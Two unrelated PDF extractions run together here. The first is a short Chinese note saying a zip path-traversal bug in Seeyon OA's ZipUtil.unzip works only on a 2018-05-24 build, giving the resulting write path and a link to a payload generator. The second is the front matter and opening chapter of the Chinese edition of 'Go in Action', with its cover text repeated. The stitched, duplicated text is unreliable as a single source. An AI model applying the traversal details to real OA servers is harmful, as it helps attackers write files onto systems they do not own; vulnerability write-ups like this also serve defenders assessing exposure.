pdf
上午发了⼀篇,致远OA的漏洞分析。 有⼏位师傅说有坑。确实,这个坑还能影响不少⼈。 问题在哪? ZipUtil.unzip(zipFile, unzipDirectory); 就在于这个ZipUtil。有⼏位师傅可能也尝试跟我⼀样写demo去复现。会发现⼀个错 误。 Entry is outside of the target dir 这样需要注意⼀下。版本问题。版本问题。版本问题。重要的事情说三遍。 只有 seeyon-ctp-core.jar 的修改时间为 2018-05-24 才能使⽤../去跨随机⽣成的 uuid⽬录。 ⾼于此修改时间就会爆出上⾯的错误。 然后最终的解压为: /seeyon/common/designer/pageLayout/压缩包⾥的⽂件名 这⾥的⽣成器可以参考塔王的。 https://www.o2oxy.cn/3394.html。 总的来说。危害不是很⼤。只适合低版本。s
pdf
“探索、学习并使用 Go 语言的简洁 而全面的指导手册。” ——摘自 Hugo 创立者 Steven Francia 为本书写的序 “这本权威的书为所有想要开始学习 Go 语言的人提供了一站式的指引。” ——Sam Zaydel,RackTop Systems “写得太好了!完整介绍了Go语言。 强烈推荐。” ——Adam McKay,SUEZ “这本书把 Go 语言不寻常的部分讲 得通俗易懂。” ——Alex Vidal,Atlassian 的 HipChat 团队 Go 语言实战 语言实战 Go 分类建议:计算机/程序设计/ Go 语言 人民邮电出版社网址:www.ptpress.com.cn 美术编辑:董志桢 Go Go IN ACTION 即便不处理类似可扩展的 Web 并发或者实时性能等复杂的系统 编程问题,应用程序开发也是一件非常困难的事情。尽管使用一些工 具和框架也可以解决这些常见的问题,但 Go 语言却以一种更加自然 且高效的方式正确处理了这类问题。由谷歌公司开发的 Go 语言,为 在基础设施中非常依赖高性能服务的初创公司和大企业提供了足够的 能力。 本书目标读者是已经有一定其他编程语言经验,想要开始学习 Go 语言或者更深入了解 Go 语言及其内部机制的中级开发者。本书 会提供一个专注、全面且符合习惯的视角。本书关注 Go 语言的规范 和实现,涉及的内容包括语法、Go 的类型系统、并发、通道和测试 等主题。 本书主要内容 ●● Go 语言规范和实现。 ●● Go 语言的类型系统。 ●● Go 语言的数据结构的内部实现。 ●● 测试和基准测试。●● 本书假设读者是熟练使用其他语言(如 Java、Ruby、Python、 C# 或者 C++)的开发者。 William Kennedy 是一位熟练的软件开发者,也是博客 GoingGo. Net 的作者。Brian Ketelsen 和 Erik St. Martin 是全球 Go 语言大会 GopherCon 的组织者,也是 Go 语言框架 Skynet 的联合作者。 语言实战 〔美〕●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●著 李兆海●●●译 谢孟军●●审校 ●William●Kennedy●● Brian●Ketelsen●● Erik●St.●Martin FM44535Go语言实战.indd 1-3 17-1-19 下午2:38 “探索、学习并使用 Go 语言的简洁 而全面的指导手册。” ——摘自 Hugo 创立者 Steven Francia 为本书写的序 “这本权威的书为所有想要开始学习 Go 语言的人提供了一站式的指引。” ——Sam Zaydel,RackTop Systems “写得太好了!完整介绍了Go语言。 强烈推荐。” ——Adam McKay,SUEZ “这本书把 Go 语言不寻常的部分讲 得通俗易懂。” ——Alex Vidal,Atlassian 的 HipChat 团队 Go 语言实战 语言实战 Go 分类建议:计算机/程序设计/ Go 语言 人民邮电出版社网址:www.ptpress.com.cn 美术编辑:董志桢 Go Go IN ACTION 即便不处理类似可扩展的 Web 并发或者实时性能等复杂的系统 编程问题,应用程序开发也是一件非常困难的事情。尽管使用一些工 具和框架也可以解决这些常见的问题,但 Go 语言却以一种更加自然 且高效的方式正确处理了这类问题。由谷歌公司开发的 Go 语言,为 在基础设施中非常依赖高性能服务的初创公司和大企业提供了足够的 能力。 本书目标读者是已经有一定其他编程语言经验,想要开始学习 Go 语言或者更深入了解 Go 语言及其内部机制的中级开发者。本书 会提供一个专注、全面且符合习惯的视角。本书关注 Go 语言的规范 和实现,涉及的内容包括语法、Go 的类型系统、并发、通道和测试 等主题。 本书主要内容 ●● Go 语言规范和实现。 ●● Go 语言的类型系统。 ●● Go 语言的数据结构的内部实现。 ●● 测试和基准测试。●● 本书假设读者是熟练使用其他语言(如 Java、Ruby、Python、 C# 或者 C++)的开发者。 William Kennedy 是一位熟练的软件开发者,也是博客 GoingGo. Net 的作者。Brian Ketelsen 和 Erik St. Martin 是全球 Go 语言大会 GopherCon 的组织者,也是 Go 语言框架 Skynet 的联合作者。 语言实战 〔美〕●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●著 李兆海●●●译 谢孟军●●审校 ●William●Kennedy●● Brian●Ketelsen●● Erik●St.●Martin FM44535Go语言实战.indd 1-3 17-1-19 下午2:38 Go IN ACTION 语言实战 Go 人 民 邮 电 出 版 社 〔美〕 著 李兆海 译 谢孟军 审校 William Kennedy Brian Ketelsen Erik St. Martin FM44535Go语言实战.indd 4 17-1-19 下午2:36  著 [美] William Kennedy Brian Ketelsen Erik St. Martin 译 李兆海 审 校 谢孟军 责任编辑 杨海玲 责任印制 焦志炜  人民邮电出版社出版发行 北京市丰台区成寿寺路 11 号 邮编 100164 电子邮件 [email protected] 网址 http://www.ptpress.com.cn 北京昌平百善印刷厂印刷  开本:8001000 1/16 印张:15.25 字数:326 千字 2017 年 3 月第 1 版 印数:1 – 4 000 册 2017 年 3 月北京第 1 次印刷 著作权合同登记号 图字:01-2015-8787 号 定价:59.00 元 读者服务热线:(010)81055410 印装质量热线:(010)81055316 反盗版热线:(010)81055315 译者序 Go 语言是由谷歌公司在 2007 年开始开发的一门语言,目的是能在多核心时代高效编写网络 应用程序。Go 语言的创始人 Robert Griesemer、Rob Pike 和 Ken Thompson 都是在计算机发展过程 中作出过重要贡献的人。自从 2009 年 11 月正式公开发布后,Go 语言迅速席卷了整个互联网后端 开发领域,其社区里不断涌现出类似 vitess、Docker、etcd、Consul 等重量级的开源项目。 在 Go 语言发布后,我就被其简洁、强大的特性所吸引,并于 2010 年开始在技术聚会上宣 传 Go 语言,当时所讲的题目是《Go 语言:互联网时代的 C》。现在看来,Go 语言确实很好地 解决了互联网时代开发的痛点,而且入门门槛不高,是一种上手容易、威力强大的工具。试想一 下,不需要学习复杂的异步逻辑,使用习惯的顺序方法,就能实现高性能的网络服务,并充分利 用系统的多个核心,这是多么美好的一件事情。 本书是国外 Go 社区多年经验积累的成果。本书默认读者已经具有一定的编程基础,希望更 好地使用 Go 语言。全书以示例为基础,详细介绍了 Go 语言中的一些比较深入的话题。对于有经 验的程序员来说,很容易通过学习书中的例子来解决自己实际工作中遇到的问题。辅以文字介绍, 读者会对相关问题有更系统的了解和认识。翻译过程中我尽量保持了原书的叙述方法,并加强了 叙述逻辑,希望读者会觉得清晰易读。 在翻译本书的过程中,感谢人民邮电出版社编辑杨海玲老师的指导和进度安排,让本书能 按时与读者见面。感谢谢孟军对译稿的审校,你的润色使译文读起来流畅了很多。尤其要感谢 我老婆对我的支持,感谢你能理解我出于热爱才会“匍匐”在计算机前码字。 最后,感谢读者购买此书。希望读者在探索 Go 语言的道路上,能够享受到和我一样的乐趣。 序 在计算机科学领域,提到不同寻常的人,总会有一些名字会闪现在你的脑海中。Rob Pike、 Robert Griesmier 和 Ken Thompson 就是其中几个。他们 3 个人负责构建过 UNIX、Plan 9、B、Java 的 JVM HotSpot、V8、Strongtalk ①、Sawzall、Ed、Acme 和 UTF8,此外还有很多其他的创造。 在 2007 年,这 3 个人凑在一起,尝试一个伟大的想法:综合他们多年的经验,借鉴已有的语言, 来创建一门与众不同的、全新的系统语言。他们随后以开源的形式发布了自己的实验成果,并将 这种语言命名为“Go”。如果按照现在的路线发展下去,这门语言将是这 3 个人最有影响的一项 创造。 当人们聚在一起,纯粹是为了让世界变得更好的时候,往往也是他们处于最佳状态的时候。 在 2013 年,为了围绕 Go 语言构建一个更好的社区,Brian 和 Erik 联合成立了 Gopher Academy, 没过多久,Bill 和其他一些有类似想法的人也加入迚来。他们首先注意到,社区需要有一个地方 可以在线聚集和分享素材,所以他们在 slack 创立了 Go 讨论版和 Gopher Academy 博客。随着时 间的推移,社区越来越大,他们创建了世界上第一个全球 Go 语言大会—GopherCon。随着与 社区更深入地交流,他们意识到还需要为广大想学习这门新语言的人提供一些资源,所以他们开 始着手写一本书,就是现在你手里拿的这本书。 为 Go 社区贡献了大量的时间和精力的 3 位作者,出于对 Go 语言社区的热爱写就了这本书。 我曾在 Bill、Brian 和 Erik 身边,见证了他们在不同的环境和角色(作为 Gopher Academy 博客的 编辑,作为大会组织者,甚至是在他们的日常工作中,作为父亲和丈夫)下,都会认真负责地撰 写和修订本书。对他们来说,这不仅仅是一本书,也是对他们心爱的语言的献礼。他们并不满足 于写就一本“好”书。他们编写、审校,再写、再修改,再三推敲每页文字、每个例子、每一章, 直到认为本书的内容配得上他们珍视的这门语言。 离开一门使用舒服、掌握熟练的语言,去学习一门不仅对自己来说,对整个世界来说都是全 新的语言,是需要勇气的。这是一条人迹罕至,沿途充满 bug,只有少数先行者熟悉的路。这里 ① 一个高性能强类型的 Smalltalk 实现。——译者注 ii 序 充满了意外的错误,文档不明确或者缺失,而且缺少可以拿来即用的代码库。这是拓荒者、先锋 才会选择的道路。如果你正在读这本书,那么你可能正在踏上这段旅途。 本书自始至终是为你—本书的读者精心制作的一本探索、学习和使用 Go 语言的简洁而全 面的指导手册。在全世界,你也不会找到比 Bill、Brian 和 Erik 更好的导师了。我非常高兴你能 开始探索 Go 语言的优点,期望能在线上和线下大会上遇到你。 Steve Francia Go 语言开发者,Hugo、Cobra、Viper 和 SPF13-VIM 的创建人 前言 那是 2013 年 10 月,我刚刚花几个月的时间写完 GoingGo.net 博客,就接到了 Brian Ketelsen 和 Erik St. Martin 的电话。他们正在写这本书,问我是否有兴趣参与迚来。我立刻抓住机会,参 与到写作中。当时,作为一个 Go 语言的新手,这是我迚一步了解这门语言的好机会。毕竟,与 Brian 和 Erik 一起工作、一起分享获得的知识,比我从构建博客中学到的要多得多。 完成前 4 章后,我们在 Manning 早期访问项目(MEAP)中发布了这本书。很快,我们收到 了来自语言团队成员的邮件。这位成员对很多细节提供了评审意见,还附加了大量有用的知识、 意见、鼓励和支持。根据这些评审意见,我们决定从头开始重写第 2 章,并对第 4 章迚行了全面 修订。据我们所知,对整章迚行重写的情况并不少见。通过这段重写的经历,我们学会要依靠社 区的帮助来完成写作,因为我们希望能立刻得到社区的支持。 自那以后,这本书就成了社区努力的成果。我们投入了大量的时间研究每一章,开发样例代 码,并和社区一起评审、讨论并编辑书中的材料和代码。我们尽了最大的努力来保证本书在技术 上没有错误,让代码符合通用习惯,并且使用社区认为应该有的方式来教 Go 语言。同时,我们 也融入了自己的思考、自己的实践和自己的指导方式。 我们希望本书能帮你学习 Go 语言,不仅是当下,就是多年以后,你也能从本书中找到有用 的东西。Brian、Erik 和我总会在线上帮助那些希望得到我们帮助的人。如果你购买了本书,谢 谢你,来和我们打个招呼吧。 William Kennedy 致谢 我们花了 18 个月的时间来写本书。但是,离开下面这些人的支持,我们不可能完成这本书: 我们的家人、朋友、同学、同事以及导师,整个 Go 社区,还有我们的出版商 Manning。 当你开始撰写类似的书时,你需要一位编辑。编辑不仅要分享喜悦与成就,而且要不惜一切 代价,帮你渡过难关。Jennifer Stout,你才华横溢,善于指导,是很棒的朋友。感谢你这段时间 的付出,尤其是在我们最需要你的时候。感谢你让这本书变成现实。还要感谢为本书的开发和出 版作出贡献的 Manning 的其他人。 每个人都不可能知晓一切,所以需要社区里的人付出时间和学识。感谢 Go 社区以及所有参 与本书不同阶段书稿评审并提供反馈的人。特别感谢 Adam McKay、Alex Basile、Alex Jacinto、 Alex Vidal、Anjan Bacchu、Benoît Benedetti、Bill Katz、Brian Hetro、Colin Kennedy、Doug Sparling,、 Jeffrey Lim、Jesse Evans、Kevin Jackson、Mark Fisher、Matt Zulak、Paulo Pires、Peter Krey、Philipp K. Janert、Sam Zaydel 以及 Thomas O’Rourke。还要感谢 Jimmy Frasché,他在出版前对本书书稿 做了快速、准确的技术审校。 这里还需要特别感谢一些人。 Kim Shrier,从最开始就在提供评审意见,并花时间来指导我们。我们从你那里学到了很多, 非常感谢。因为你,本书在技术上达到了更好的境界。 Bill Hathaway 在写书的最后一年,深入参与,并矫正了每一章。你的想法和意见非常宝贵。 我们必须给予 Bill“第 9 章合著者”的头衔。没有 Bill 的参与、天赋以及努力,就没有这一章的 存在。 我们还要特别感谢 Cory Jacobson、Jeffery Lim、Chetan Conikee 和 Nan Xiao 为本书持续提供 了评审意见和指导,感谢 Gabriel Aszalos、Fatih Arslan、Kevin Gillette 和 Jason Waldrip 帮助评审 样例代码,还要特别感谢 Steve Francia 帮我们作序,认可我们的工作。 最后,我们真诚地感谢我们的家人和朋友。为本书付出的时间和代价,总会影响到你所 爱的人。 ii 致谢 William Kennedy 我首先要感谢 Lisa,我美丽的妻子,以及我的 5 个孩子:Brianna、Melissa、Amanda、Jarrod 和 Thomas。Lisa,我知道你和孩子们有太多的日夜和周末,缺少丈夫和父亲的陪伴。感谢你让 我这段时间全力投入本书的工作:我爱你们,爱你们每一个人。 我也要感谢我生意上的伙伴 Ed Gonzalez、创意经理 Erick Zelaya,以及整个 Ardan 工作室的 团队。Ed,感谢你从一开始就支持我。没有你,我就无法完成本书。你不仅是生意伙伴,还是朋 友和兄长:谢谢你。Erick,感谢你为我、为公司做的一切。我不确定没有你,我们还能不能做到 这一切。 Brian Ketelsen 首先要感谢我的家人在我写书的这 4 年间付出的耐心。Christine、Nathan、Lauren 和 Evelyn, 感谢你们在游泳时放过在旁边椅子上写作的我,感谢你们相信这本书一定会出版。 Erik St. Martin 我要感谢我的未婚妻 Abby 以及我的 3 个孩子 Halie、Wyatt 和 Allie。感谢你们对我花大量时 间写书和组织会议如此耐心和理解。我非常爱你们,有你们我非常幸运。 还要感谢 Bill Kennedy 为本书付出的巨大努力,以及当我们需要他的帮助的时候,他总是立 刻想办法组织 GopherCon 来满足我们的要求。还要感谢整个社区出力评审并给出一些鼓励的话。 关于本书 Go 是一门开源的编程语言,目的在于降低构建简单、可靠、高效软件的门槛。尽管这门语 言借鉴了很多其他语言的思想,但是凭借自身统一和自然的表达,Go 程序在本质上完全不同于 用其他语言编写的程序。Go 平衡了底层系统语言的能力,以及在现代语言中所见到的高级特性。 你可以依靠 Go 语言来构建一个非常快捷、高性能且有足够控制力的编程环境。使用 Go 语言, 可以写得更少,做得更多。 谁应该读这本书 本书是写给已经有一定其他语言编程经验,并且想学习 Go 语言的中级开发者的。我们写这 本书的目的是,为读者提供一个专注、全面且符合语言习惯的视角。我们同时关注语言的规范和 实现,涉及的内容包括语法、类型系统,并发、通道、测试以及其他一些主题。我们相信,对于 刚开始学 Go 语言的人,以及想要深入了解这门语言内部实现的人来说,本书都是极佳的选择。 章节速览 本书由 9 章组成,每章内容简要描述如下。  第 1 章快速介绍这门语言是什么,为什么要创造这门语言,以及这门语言要解决什么问 题。这一章还会简要介绍一些 Go 语言的核心概念,如并发。  第 2 章引导你完成一个完整的 Go 程序,并教你 Go 作为一门编程语言必须提供的特性。  第 3 章介绍打包的概念,以及搭建 Go 工作空间和开发环境的最佳实践。这一章还会展 示如何使用 Go 语言的工具链,包括获取和构建代码。  第 4 章展示 Go 语言内置的类型,即数组、切片和映射。还会解释这些数据结构背后的 实现和机制。  第 5 章详细介绍 Go 语言的类型系统,从结构体类型到具名类型,再到接口和类型嵌套。这 ii 关于本书 一章还会展示如何综合利用这些数据结构,用简单的方法来设计结构并编写复杂的软件。 第 6 章深入展示 Go 调度器、并发和通道是如何工作的。这一章还将介绍这个方面背后 的机制。 第 7 章基于第 6 章的内容,展示一些实际开发中用到的并发模式。你会学到为了控制任 务如何实现一个 goroutine 池,以及如何利用池来复用资源。 第 8 章对标准库进行探索,深入介绍 3 个包,即 log、json 和 io。这一章专门介绍这 3 个包之间的某些复杂关系。 第 9 章以如何利用测试和基准测试框架来结束全书。读者会学到如何写单元测试、表组 测试以及基准测试,如何在文档中增加示例,以及如何把这些示例当作测试使用。 关于代码 本书中的所有代码都使用等宽字体表示,以便和周围的文字区分开。在很多代码清单中,代 码被注释是为了说明关键概念,并且有时在正文中会用数字编号来给出对应代码的其他信息。 本书的源代码既可以在 Manning 网站(www.manning.com/books/go-in-action)上下载 ①,也 可以在 GitHub(https://github.com/goinaction/code)上找到这些源代码。 读者在线 购买本书后,可以在线访问由 Manning 出版社提供的私有论坛。在这个论坛上可以对本书做评论, 咨询技术问题,并得到作者或其他读者的帮助。通过浏览器访问 www.manning.com/books/go-in-action 可以访问并订阅这个论坛。这个网页还提供了注册后如何访问论坛,论坛提供什么样的帮助,以 及论坛的行为准则等信息。 Manning 向读者承诺提供一个读者之间以及读者和作者之间交流的场所。Manning 并不承诺 作者一定会参与,作者参与论坛的行为完全出于作者自愿(没有报酬)。我们建议你向作者提一 些有挑战性的问题,否则可能提不起作者的兴趣。 只要本书未绝版,作者在线论坛以及早期讨论的存档就可以在出版商的网站上获取到。 关于作者 William Kennedy(@goinggodotnet)是 Ardan 工作室的管理合伙人。这家工作室位于佛罗里 达州迈阿密,是一家专注移动、Web 和系统开发的公司。他也是博客 GoingGo.net 的作者,迈阿 密 Go 聚会的组织者。从在培训公司 Ardan Labs 开始,他就专注于 Go 语言教学。无论是在当地, ① 本书源代码也可以从 www.epubit.com.cn 本书网页免费下载。 还是在线上,经常可以在大会或者工作坊中看到他的身影。他总是找时间来帮助那些想获取 Go 语言知识、撰写博客和编码技能提升到更高水平的公司或个人。 Brian Ketelsen(@bketelsen)是 XOR Data Exchange 的 CIO 和联合创始人。Brian 也是每年 Go 语言大会(GohperCon)的合办者,同时也是 Gopher Academy 的创立者。作为专注于社区的 组织,Gopher Academy 一直在促进 Go 语言的发展和对 Go 语言开发者的培训。Brian 从 2010 年 就开始使用 Go 语言。 Erik St. Martin(@erikstmartin)是 XOR Data Exchange 的软件开发总监。他所在的公司专注 于大数据分析,最早在得克萨斯州奥斯汀,后来搬到了佛罗里达州坦帕湾。Erik 长时间为开源软 件及其社区做贡献。他是每年 GopherCon 的组织者,也是坦帕湾 Go 聚会的组织者。他非常热爱 Go 语言及 Go 语言社区,积极寻求促进社区成长的新方法。 关于封面插图 本书封面插图的标题为“来自东印度的人”。这幅图选自伦敦的 Thomas Jefferys 的《A Collection of the Dresses of Different Nations, Ancient and Modern》(4 卷),出版于 1757 年到 1772 年之间。书籍首页说明了这幅画的制作工艺是铜版雕刻,手工上色,外层用阿拉伯胶做保护。 Thomas Jefferys(1719—1771)被称作“地理界的乔治三世国王”。作为制图者,他在当时英国地 图商中处于领先地位。他为政府和其他官员雕刻和印刷地图,同时也制作大量的商业地图和地图 册,尤其是北美地图。他作为地图制作者的经历,点燃了他收集各地风俗服饰的兴趣,最终成就 了这部衣着集。 对遥远大陆的着迷以及对旅行的乐趣,是 18 世纪晚期才兴起的现象。这类收集品也风行一 时,向实地旅行家和空想旅行家们介绍各地的风俗。Jefferys 的画集如此多样,生动地向我们描 述了 200 年前世界上不同民族的独立特征。从那之后,衣着的特征发生了改变,那个时代不同地 区和国家的多样性,也逐渐消失。现在,很难再通过本地居民的服饰来区分他们所在的大陆。也 许,从乐观的方面看,也许,从乐观的角度来看,我们用文化的多样性换取了更加多样化的个人 生活——当然也是更加多样化和快节奏的科技生活。 在很难将一本计算机书与另一本区分开的时代,Manning 创造性地将两个世纪以前不同地区 的多样性,附着在计算机行业的图书封面上,借以来赞美计算机行业的创造力和进取精神也为 Jeffreys 的画带来了新的生命。 目录 1 1 2 3 4 目录 第 1 章 关于 Go 语言的介绍 1 1.1 用Go解决现代编程难题 2 1.1.1 开发速度 2 1.1.2 并发 3 1.1.3 Go 语言的类型系统 5 1.1.4 内存管理 7 1.2 你好,Go 7 1.3 小结 8 第2章 快速开始一个Go程序 9 2.1 程序架构 9 2.2 main 包 11 2.3 search 包 13 2.3.1 search.go 13 2.3.2 feed.go 21 2.3.3 match.go/default.go 24 2.4 RSS 匹配器 30 2.5 小结 36 第 3 章 打包和工具链 37 3.1 包 37 3.1.1 包名惯例 38 3.1.2 main 包 38 3.2 导入 39 3.2.1 远程导入 40 3.2.2 命名导入 40 3.3 函数 init 41 3.4 使用 Go 的工具 42 3.5 进一步介绍 Go 开发 工具 44 3.5.1 go vet 44 3.5.2 Go 代码格式化 45 3.5.3 Go 语言的文档 45 3.6 与其他Go 开发者合作 48 3.7 依赖管理 48 3.7.1 第三方依赖 49 3.7.2 对 gb 的介绍 50 3.8 小结 52 第 4 章 数组、切片和映射 53 4.1 数组的内部实现和基础 功能 53 4.1.1 内部实现 53 4.1.2 声明和初始化 54 4.1.3 使用数组 55 4.1.4 多维数组 58 4.1.5 在函数间传递数组 59 4.2 切片的内部实现和基础 功能 60 4.2.1 内部实现 60 4.2.2 创建和初始化 61 4.2.3 使用切片 63 4.2.4 多维切片 74 4.2.5 在函数间传递切片 75 4.3 映射的内部实现和基础 功能 76 4.3.1 内部实现 76 4.3.2 创建和初始化 78 4.3.3 使用映射 79 4.3.4 在函数间传递映射 81 4.4 小结 82 ii 目录 6 8 9 5 7 第 5 章 Go 语言的类型系统 83 5.1 用户定义的类型 83 5.2 方法 87 5.3 类型的本质 90 5.3.1 内置类型 91 5.3.2 引用类型 91 5.3.3 结构类型 93 5.4 接口 95 5.4.1 标准库 96 5.4.2 实现 98 5.4.3 方法集 99 5.4.4 多态 103 5.5 嵌入类型 105 5.6 公开或未公开的 标识符 113 5.7 小结 121 第 6 章 并发 122 6.1 并发与并行 122 6.2 goroutine 125 6.3 竞争状态 132 6.4 锁住共享资源 135 6.4.1 原子函数 135 6.4.2 互斥锁 138 6.5 通道 140 6.5.1 无缓冲的通道 141 6.5.2 有缓冲的通道 146 6.6 小结 149 第 7 章 并发模式 150 7.1 runner 150 7.2 pool 158 7.3 work 168 7.4 小结 174 第 8 章 标准库 176 8.1 文档与源代码 177 8.2 记录日志 178 8.2.1 log 包 179 8.2.2 定制的日志记录器 182 8.2.3 结论 186 8.3 编码/解码 187 8.3.1 解码 JSON 187 8.3.2 编码 JSON 192 8.3.3 结论 193 8.4 输入和输出 193 8.4.1 Writer 和 Reader 接口 194 8.4.2 整合并完成工作 195 8.4.3 简单的 curl 199 8.4.4 结论 200 8.5 小结 200 第 9 章 测试和性能 201 9.1 单元测试 201 9.1.1 基础单元测试 202 9.1.2 表组测试 205 9.1.3 模仿调用 208 9.1.4 测试服务端点 212 9.2 示例 217 9.3 基准测试 220 9.4 小结 224 第 1 章 关于 Go 语言的介绍 本章主要内容  用 Go 语言解决现代计算难题  使用 Go 语言工具 计算机一直在演化,但是编程语言并没有以同样的速度演化。现在的手机,内置的 CPU 核 数可能都多于我们使用的第一台电脑。高性能服务器拥有 64 核、128 核,甚至更多核。但是我 们依旧在使用为单核设计的技术在编程。 编程的技术同样在演化。大部分程序不再由单个开发者来完成,而是由处于不同时区、不同 时间段工作的一组人来完成。大项目被分解为小项目,指派给不同的程序员,程序员开发完成后, 再以可以在各个应用程序中交叉使用的库或者包的形式,提交给整个团队。 如今的程序员和公司比以往更加信任开源软件的力量。Go 语言是一种让代码分享更容易的编 程语言。Go 语言自带一些工具,让使用别人写的包更容易,并且 Go 语言也让分享自己写的包 更容易。 在本章中读者会看到 Go 语言区别于其他编程语言的地方。Go 语言对传统的面向对象开发 进行了重新思考,并且提供了更高效的复用代码的手段。Go 语言还让用户能更高效地利用昂贵 服务器上的所有核心,而且它编译大型项目的速度也很快。 在阅读本章时,读者会对影响 Go 语言形态的很多决定有一些认识,从它的并发模型到快如 闪电的编译器。我们在前言中提到过,这里再强调一次:这本书是写给已经有一定其他编程语言 经验、想学习 Go 语言的中级开发者的。本书会提供一个专注、全面且符合习惯的视角。我们同 时专注语言的规范和实现,涉及的内容包括语法、Go 语言的类型系统、并发、通道、测试以及 其他一些非常广泛的主题。我们相信,对刚开始要学习 Go 语言和想要深入了解语言内部实现的 人来说,本书都是最佳选择。 本书示例中的源代码可以在 https://github.com/goinaction/code 下载。 我们希望读者能认识到,Go 语言附带的工具可以让开发人员的生活变得更简单。最后,读 者会意识到为什么那么多开发人员用 Go 语言来构建自己的新项目。 1 第 1 章 关于 Go 语言的介绍 1.1 用 Go 解决现代编程难题 Go 语言开发团队花了很长时间来解决当今软件开发人员面对的问题。开发人员在为项目选 择语言时,不得不在快速开发和性能之间做出选择。C 和 C++这类语言提供了很快的执行速度, 而 Ruby 和 Python 这类语言则擅长快速开发。Go 语言在这两者间架起了桥梁,不仅提供了高性 能的语言,同时也让开发更快速。 在探索 Go 语言的过程中,读者会看到精心设计的特性以及简洁的语法。作为一门语言,Go 不仅定义了能做什么,还定义了不能做什么。Go 语言的语法简洁到只有几个关键字,便于记忆。 Go 语言的编译器速度非常快,有时甚至会让人感觉不到在编译。所以,Go 开发者能显著减少等 待项目构建的时间。因为 Go 语言内置并发机制,所以不用被迫使用特定的线程库,就能让软件 扩展,使用更多的资源。Go 语言的类型系统简单且高效,不需要为面向对象开发付出额外的心 智,让开发者能专注于代码复用。Go 语言还自带垃圾回收器,不需要用户自己管理内存。让我 们快速浏览一下这些关键特性。 1.1.1 开发速度 编译一个大型的 C 或者 C++项目所花费的时间甚至比去喝杯咖啡的时间还长。图 1-1 是 XKCD 中的一幅漫画,描述了在办公室里开小差的经典借口。 图 1-1 努力工作?(来自 XKCD) Go 语言使用了更加智能的编译器,并简化了解决依赖的算法,最终提供了更快的编译速度。 编译 Go 程序时,编译器只会关注那些直接被引用的库,而不是像 Java、C 和 C++那样,要遍历 依赖链中所有依赖的库。因此,很多 Go 程序可以在 1 秒内编译完。在现代硬件上,编译整个 Go 语言的源码树只需要 20 秒。 因为没有从编译代码到执行代码的中间过程,用动态语言编写应用程序可以快速看到输出。 代价是,动态语言不提供静态语言提供的类型安全特性,不得不经常用大量的测试套件来避免在 运行的时候出现类型错误这类 bug。 想象一下,使用类似 JavaScript 这种动态语言开发一个大型应用程序,有一个函数期望接收 一个叫作 ID 的字段。这个参数应该是整数,是字符串,还是一个 UUID?要想知道答案,只能 去看源代码。可以尝试使用一个数字或者字符串来执行这个函数,看看会发生什么。在 Go 语言 里,完全不用为这件事情操心,因为编译器就能帮用户捕获这种类型错误。 1.1.2 并发 作为程序员,要开发出能充分利用硬件资源的应用程序是一件很难的事情。现代计算机都拥 有多个核,但是大部分编程语言都没有有效的工具让程序可以轻易利用这些资源。这些语言需要 写大量的线程同步代码来利用多个核,很容易导致错误。 Go 语言对并发的支持是这门语言最重要的特性之一。goroutine 很像线程,但是它占用的 内存远少于线程,使用它需要的代码更少。通道(channel)是一种内置的数据结构,可以让 用户在不同的 goroutine 之间同步发送具有类型的消息。这让编程模型更倾向于在 goroutine 之间发送消息,而不是让多个 goroutine 争夺同一个数据的使用权。让我们看看这些特性的 细节。 1.goroutine goroutine 是可以与其他 goroutine 并行执行的函数,同时也会与主程序(程序的入口)并行 执行。在其他编程语言中,你需要用线程来完成同样的事情,而在 Go 语言中会使用同一个线程 来执行多个 goroutine。例如,用户在写一个 Web 服务器,希望同时处理不同的 Web 请求,如果 使用 C 或者 Java,不得不写大量的额外代码来使用线程。在 Go 语言中,net/http 库直接使用了 内置的 goroutine。每个接收到的请求都自动在其自己的 goroutine 里处理。goroutine 使用的内存 比线程更少,Go 语言运行时会自动在配置的一组逻辑处理器上调度执行 goroutine。每个逻辑处 理器绑定到一个操作系统线程上(见图 1-2)。这让用户的应用程序执行效率更高,而开发工作量 显著减少。 如果想在执行一段代码的同时,并行去做另外一些事情,goroutine 是很好的选择。下面是一 个简单的例子: func log(msg string) { ...这里是一些记录日志的代码 } // 代码里有些地方检测到了错误 go log("发生了可怕的事情") 图 1-2 在单一系统线程上执行多个 goroutine 关键字 go 是唯一需要去编写的代码,调度 log 函数作为独立的 goroutine 去运行,以便与 其他 goroutine 并行执行。这意味着应用程序的其余部分会与记录日志并行执行,通常这种并行 能让最终用户觉得性能更好。就像之前说的,goroutine 占用的资源更少,所以常常能启动成千上 万个 goroutine。我们会在第 6 章更加深入地探讨 goroutine 和并发。 2.通道 通道是一种数据结构,可以让 goroutine 之间进行安全的数据通信。通道可以帮用户避免其 他语言里常见的共享内存访问的问题。 并发的最难的部分就是要确保其他并发运行的进程、线程或 goroutine 不会意外修改用户的 数据。当不同的线程在没有同步保护的情况下修改同一个数据时,总会发生灾难。在其他语言中, 如果使用全局变量或者共享内存,必须使用复杂的锁规则来防止对同一个变量的不同步修改。 为了解决这个问题,通道提供了一种新模式,从而保证并发修改时的数据安全。通道这一模 式保证同一时刻只会有一个 goroutine 修改数据。通道用于在几个运行的 goroutine 之间发送数据。 在图 1-3 中可以看到数据是如何流动的示例。想象一个应用程序,有多个进程需要顺序读取或者 修改某个数据,使用 goroutine 和通道,可以为这个过程建立安全的模型。 图 1-3 使用通道在 goroutine 之间安全地发送数据 图 1-3 中有 3 个 goroutine,还有 2 个不带缓存的通道。第一个 goroutine 通过通道把数 据传给已经在等待的第二个 goroutine。在两个 goroutine 间传输数据是同步的,一旦传输完 成,两个 goroutine 都会知道数据已经完成传输。当第二个 goroutine 利用这个数据完成其任 务后,将这个数据传给第三个正在等待的 goroutine。这次传输依旧是同步的,两个 goroutine 都会确认数据传输完成。这种在 goroutine 之间安全传输数据的方法不需要任何锁或者同步 机制。 需要强调的是,通道并不提供跨 goroutine 的数据访问保护机制。如果通过通道传输数据的 一份副本,那么每个 goroutine 都持有一份副本,各自对自己的副本做修改是安全的。当传输的 是指向数据的指针时,如果读和写是由不同的 goroutine 完成的,每个 goroutine 依旧需要额外的 同步动作。 1.1.3 Go 语言的类型系统 Go 语言提供了灵活的、无继承的类型系统,无需降低运行性能就能最大程度上复用代码。 这个类型系统依然支持面向对象开发,但避免了传统面向对象的问题。如果你曾经在复杂的 Java 和 C++程序上花数周时间考虑如何抽象类和接口,你就能意识到 Go 语言的类型系统有多么简单。 Go 开发者使用组合(composition)设计模式,只需简单地将一个类型嵌入到另一个类型,就能 